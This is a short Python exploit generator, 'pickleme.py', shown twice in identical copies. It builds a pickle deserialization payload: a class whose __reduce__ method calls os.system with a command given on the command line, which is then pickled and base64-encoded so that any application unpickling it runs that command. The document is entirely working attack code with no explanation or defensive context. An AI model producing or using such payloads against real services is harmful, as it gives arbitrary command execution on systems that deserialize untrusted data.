import pickle, os, sys
from base64 import b64encode, b64decode

if len(sys.argv) <=2 or sys.argv[1] != "-p":
    print ("[!] Usage: python3 pickleme.py -p PAYLOAD_HERE")
    sys.exit()
    
cmd = sys.argv[2]

class RCE(object):
    def __reduce__ (self):
        return (os.system, (cmd,))

def exploit():
    payload = RCE()
    encoded_payload = b64encode(pickle.dumps(payload)).decode()
    print (f"[+] Payload: {encoded_payload}\n")

if __name__ == '__main__':
           exploit()



import pickle, os, sys
from base64 import b64encode, b64decode

if len(sys.argv) <=2 or sys.argv[1] != "-p":
    print ("[!] Usage: python3 pickleme.py -p PAYLOAD_HERE")
    sys.exit()
    
cmd = sys.argv[2]

class RCE(object):
    def __reduce__ (self):
        return (os.system, (cmd,))

def exploit():
    payload = RCE()
    encoded_payload = b64encode(pickle.dumps(payload)).decode()
    print (f"[+] Payload: {encoded_payload}\n")

if __name__ == '__main__':
           exploit()


